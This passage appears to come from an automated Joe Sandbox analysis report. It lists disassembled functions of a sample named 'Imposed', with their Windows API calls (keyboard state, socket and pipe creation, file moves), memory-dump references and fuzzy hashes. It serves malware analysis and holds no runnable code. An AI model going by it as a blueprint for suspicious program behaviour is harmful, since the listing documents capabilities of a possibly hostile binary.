                                                                                                                                                                • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00A28626
                                                                                                                                                                • SendMessageW.USER32(00000000,000000B0,?,?), ref: 00A28659
                                                                                                                                                                • IsDlgButtonChecked.USER32(?,00000000), ref: 00A28691
                                                                                                                                                                • GetWindowLongW.USER32(00000000,000000EC), ref: 00A286B3
                                                                                                                                                                • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00A286CB
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4072528602-0
                                                                                                                                                                • Opcode ID: bf911f68542e4aa832363131de73a4c9f8419824505955ad97061cf5e7edcb19
                                                                                                                                                                • Instruction ID: 59d94ddad6d350fe7d8e383dd8b81266e6400b156e8432b8baa09c61247e83ad
                                                                                                                                                                • Opcode Fuzzy Hash: bf911f68542e4aa832363131de73a4c9f8419824505955ad97061cf5e7edcb19
                                                                                                                                                                • Instruction Fuzzy Hash: 4571BF74602224AFEB31DF5CE884FAABBB5FF59300F144069F94697261CB39AD41CB54
                                                                                                                                                                Function 009FB6DE Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetParent.USER32(?), ref: 009FB71D
                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 009FB732
                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 009FB793
                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 009FB7C1
                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 009FB7E0
                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 009FB821
                                                                                                                                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 009FB844
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 87235514-0
                                                                                                                                                                • Opcode ID: dbcd077248d04da970b8635e05fde326afa3ce66f782a57deedaf3572d0c4d3f
                                                                                                                                                                • Instruction ID: dfd1bc841ae3c9a1fde2182b80b21f0b25d3b31fdf8b06ef2f915ec95f078520
                                                                                                                                                                • Opcode Fuzzy Hash: dbcd077248d04da970b8635e05fde326afa3ce66f782a57deedaf3572d0c4d3f
                                                                                                                                                                • Instruction Fuzzy Hash: 4E51E3A09087D97DFB365A34CC45BBA7E9D5B86344F188489E2D5458D3C3E8EC84D750
                                                                                                                                                                Function 009FB4FE Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetParent.USER32(00000000), ref: 009FB53D
                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 009FB552
                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 009FB5B3
                                                                                                                                                                • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 009FB5DF
                                                                                                                                                                • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 009FB5FC
                                                                                                                                                                • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 009FB63B
                                                                                                                                                                • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 009FB65C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 87235514-0
                                                                                                                                                                • Opcode ID: 6c932efb9ab1505824889f3e54515ba2a67141aed04f7f9437c547f57f1c22dd
                                                                                                                                                                • Instruction ID: f7e78634bc51297dbf32b1d0615f2a1195f49cdc23700f7ddc0cb7d53b229c30
                                                                                                                                                                • Opcode Fuzzy Hash: 6c932efb9ab1505824889f3e54515ba2a67141aed04f7f9437c547f57f1c22dd
                                                                                                                                                                • Instruction Fuzzy Hash: 0C51C4A09047DE7EFB328B34CC55B7A7EAD6B05310F188489F2D99A8D2D798EC84D750
                                                                                                                                                                Function 009C584E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,009C5FC3,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 009C5890
                                                                                                                                                                • __fassign.LIBCMT ref: 009C590B
                                                                                                                                                                • __fassign.LIBCMT ref: 009C5926
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 009C594C
                                                                                                                                                                • WriteFile.KERNEL32(?,FF8BC35D,00000000,009C5FC3,00000000,?,?,?,?,?,?,?,?,?,009C5FC3,?), ref: 009C596B
                                                                                                                                                                • WriteFile.KERNEL32(?,?,00000001,009C5FC3,00000000,?,?,?,?,?,?,?,?,?,009C5FC3,?), ref: 009C59A4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1324828854-0
                                                                                                                                                                • Opcode ID: e50cabe0d6c77523240de2aea0f27974a3e8350067c1a9d9d12a774690853a26
                                                                                                                                                                • Instruction ID: 111faebe3002f3c2204ddec27397fb98c1cb414ca728d865473b31c53a5fd6bc
                                                                                                                                                                • Opcode Fuzzy Hash: e50cabe0d6c77523240de2aea0f27974a3e8350067c1a9d9d12a774690853a26
                                                                                                                                                                • Instruction Fuzzy Hash: 2151AF70E006099FDB10CFA8D845FEEBBB8EF09310F25855EE555E7291D770AA81CB61
                                                                                                                                                                Function 009B3140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 009B316B
                                                                                                                                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 009B3173
                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 009B3201
                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 009B322C
                                                                                                                                                                • _ValidateLocalCookies.LIBCMT ref: 009B3281
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                • String ID: csm
                                                                                                                                                                • API String ID: 1170836740-1018135373
                                                                                                                                                                • Opcode ID: 419451da15bfb4c280555f761cf28b565fdf6845e3d96b9b1b1228ec3293db4e
                                                                                                                                                                • Instruction ID: 3dde70458677c63899b0483266ee9b19608da4fd15d25f55e5260f5308b426f6
                                                                                                                                                                • Opcode Fuzzy Hash: 419451da15bfb4c280555f761cf28b565fdf6845e3d96b9b1b1228ec3293db4e
                                                                                                                                                                • Instruction Fuzzy Hash: 24417134A04208ABCF10DF6CCD45AEEBBA9AF85334F14C555E8256B392D7319B15CB90
                                                                                                                                                                Function 00A118FE Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A13821: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A1384D
                                                                                                                                                                  • Part of subcall function 00A13821: _wcslen.LIBCMT ref: 00A1386E
                                                                                                                                                                • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00A11958
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A11967
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A11A0F
                                                                                                                                                                • closesocket.WSOCK32(00000000), ref: 00A11A3F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2675159561-0
                                                                                                                                                                • Opcode ID: 7781601abc1e09e792cdca27a9d453ef569887b227a21b0cba40c5d2e48612d0
                                                                                                                                                                • Instruction ID: 5723ad1ff4eaa9e122aad2560408a3efbb839ab5e582e31e21686c270a45e117
                                                                                                                                                                • Opcode Fuzzy Hash: 7781601abc1e09e792cdca27a9d453ef569887b227a21b0cba40c5d2e48612d0
                                                                                                                                                                • Instruction Fuzzy Hash: 63410771601104AFDB20DF68C884BE97BE9EF45364F148069F9599B292C774ED82CBE1
                                                                                                                                                                Function 009FD656 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009FE5A9: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,009FD678,?), ref: 009FE5C6
                                                                                                                                                                  • Part of subcall function 009FE5A9: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,009FD678,?), ref: 009FE5DF
                                                                                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 009FD69B
                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 009FD6D5
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FD75B
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FD771
                                                                                                                                                                • SHFileOperationW.SHELL32(?), ref: 009FD7B7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
                                                                                                                                                                • String ID: \*.*
                                                                                                                                                                • API String ID: 3164238972-1173974218
                                                                                                                                                                • Opcode ID: 04212065d614bfe5a27e335138ce0c05c747acca8e614534e1d25ad17b2b39dc
                                                                                                                                                                • Instruction ID: 4cb7e219dbf5d93dcb7b50e868e426775fd1a489319d672df69048889ea8c8e7
                                                                                                                                                                • Opcode Fuzzy Hash: 04212065d614bfe5a27e335138ce0c05c747acca8e614534e1d25ad17b2b39dc
                                                                                                                                                                • Instruction Fuzzy Hash: 9A41697194621C9EDF12FBA4D985BED73BDAF44340F1004E6E605EB152EB34A788CB50
                                                                                                                                                                Function 00A234D7 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00A234F6
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A23529
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2355E
                                                                                                                                                                • SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00A23590
                                                                                                                                                                • SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00A235BA
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A235CB
                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A235E5
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LongWindow$MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2178440468-0
                                                                                                                                                                • Opcode ID: 6eb0259bbe878b853f7d4ac67f4c86e884a2f1b0c4f51d1450a299bf875f7295
                                                                                                                                                                • Instruction ID: ba9901269cef9935c565305881122e24f120cdfea39311f82a709ed480ac3797
                                                                                                                                                                • Opcode Fuzzy Hash: 6eb0259bbe878b853f7d4ac67f4c86e884a2f1b0c4f51d1450a299bf875f7295
                                                                                                                                                                • Instruction Fuzzy Hash: 0B31F5326046609FDF21CF5CED84F6537A5EB8A720F1401B4F9098B2B2C775E9429B41
                                                                                                                                                                Function 009F8019 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009F805E
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009F8084
                                                                                                                                                                • SysAllocString.OLEAUT32(00000000), ref: 009F8087
                                                                                                                                                                • SysAllocString.OLEAUT32 ref: 009F80A8
                                                                                                                                                                • SysFreeString.OLEAUT32 ref: 009F80B1
                                                                                                                                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 009F80CB
                                                                                                                                                                • SysAllocString.OLEAUT32(?), ref: 009F80D9
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3761583154-0
                                                                                                                                                                • Opcode ID: 40dd3cc95862e3322477f55c83ea4f925ecb93fd22ccc8d022e43f8fc5d0625f
                                                                                                                                                                • Instruction ID: c860cbf59b759927d9866f0d2c30dd906ea3edf39cd4139df52d493ef8fb2998
                                                                                                                                                                • Opcode Fuzzy Hash: 40dd3cc95862e3322477f55c83ea4f925ecb93fd22ccc8d022e43f8fc5d0625f
                                                                                                                                                                • Instruction Fuzzy Hash: D4216535200108AF9B50EBE8DC88DBB77ECEB493607448125FA05CB2A1DE74EC86CB64
                                                                                                                                                                Function 00A00D2C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetStdHandle.KERNEL32(0000000C), ref: 00A00D4C
                                                                                                                                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A00D88
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateHandlePipe
                                                                                                                                                                • String ID: nul
                                                                                                                                                                • API String ID: 1424370930-2873401336
                                                                                                                                                                • Opcode ID: 06d15623c75ac47b9e2c4948ebe823903f7a6590cc687ceeba4e9866767d7928
                                                                                                                                                                • Instruction ID: 0deb43b1b65c0b662a6afbd8b0a9b69ae2f146d363cde97af8b567c0d35c5900
                                                                                                                                                                • Opcode Fuzzy Hash: 06d15623c75ac47b9e2c4948ebe823903f7a6590cc687ceeba4e9866767d7928
                                                                                                                                                                • Instruction Fuzzy Hash: 90216D7450430AEFDB208FB8EC45FAA7BA4BF55724F204A29F8A1D72D0D770A851CB60
                                                                                                                                                                Function 00A00E01 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetStdHandle.KERNEL32(000000F6), ref: 00A00E20
                                                                                                                                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A00E5B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateHandlePipe
                                                                                                                                                                • String ID: nul
                                                                                                                                                                • API String ID: 1424370930-2873401336
                                                                                                                                                                • Opcode ID: 77ffb2bf5aa09705a1c217fa5d64b6c23221655ef7c25d35ba4890ee314376da
                                                                                                                                                                • Instruction ID: 637e59ffea594d547bff73fea747bda522b59acc931853b7c8655f6a33c0b64f
                                                                                                                                                                • Opcode Fuzzy Hash: 77ffb2bf5aa09705a1c217fa5d64b6c23221655ef7c25d35ba4890ee314376da
                                                                                                                                                                • Instruction Fuzzy Hash: B9214A71601309AFDB208F68EC49FAA77A8AF55724F200E29E9A1E72D1D7719842CB50
                                                                                                                                                                Function 00A24789 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00996DB1: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00996DEF
                                                                                                                                                                  • Part of subcall function 00996DB1: GetStockObject.GDI32(00000011), ref: 00996E03
                                                                                                                                                                  • Part of subcall function 00996DB1: SendMessageW.USER32(00000000,00000030,00000000), ref: 00996E0D
                                                                                                                                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00A247EE
                                                                                                                                                                • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00A247FB
                                                                                                                                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00A24806
                                                                                                                                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00A24815
                                                                                                                                                                • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00A24821
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$CreateObjectStockWindow
                                                                                                                                                                • String ID: Msctls_Progress32
                                                                                                                                                                • API String ID: 1025951953-3636473452
                                                                                                                                                                • Opcode ID: 2a2704002a06a54a90242d295eb638ef9fbaa365555ac270c30189bcb3a97a78
                                                                                                                                                                • Instruction ID: 87e35f4fd7389af5a4b6f8c1aaf11518a8bb9c4ae965038d1e32d702388e761b
                                                                                                                                                                • Opcode Fuzzy Hash: 2a2704002a06a54a90242d295eb638ef9fbaa365555ac270c30189bcb3a97a78
                                                                                                                                                                • Instruction Fuzzy Hash: CB1193B1150119BEEF218FA4CC81EE77FADEF08798F004120BA14A6050C6759C21DBA0
                                                                                                                                                                Function 009CDBFF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009CDBC3: _free.LIBCMT ref: 009CDBEC
                                                                                                                                                                • _free.LIBCMT ref: 009CDC4D
                                                                                                                                                                  • Part of subcall function 009C2DE8: RtlFreeHeap.NTDLL(00000000,00000000,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?), ref: 009C2DFE
                                                                                                                                                                  • Part of subcall function 009C2DE8: GetLastError.KERNEL32(?,?,009CDBF1,?,00000000,?,00000000,?,009CDC18,?,00000007,?,?,009CE016,?,?), ref: 009C2E10
                                                                                                                                                                • _free.LIBCMT ref: 009CDC58
                                                                                                                                                                • _free.LIBCMT ref: 009CDC63
                                                                                                                                                                • _free.LIBCMT ref: 009CDCB7
                                                                                                                                                                • _free.LIBCMT ref: 009CDCC2
                                                                                                                                                                • _free.LIBCMT ref: 009CDCCD
                                                                                                                                                                • _free.LIBCMT ref: 009CDCD8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
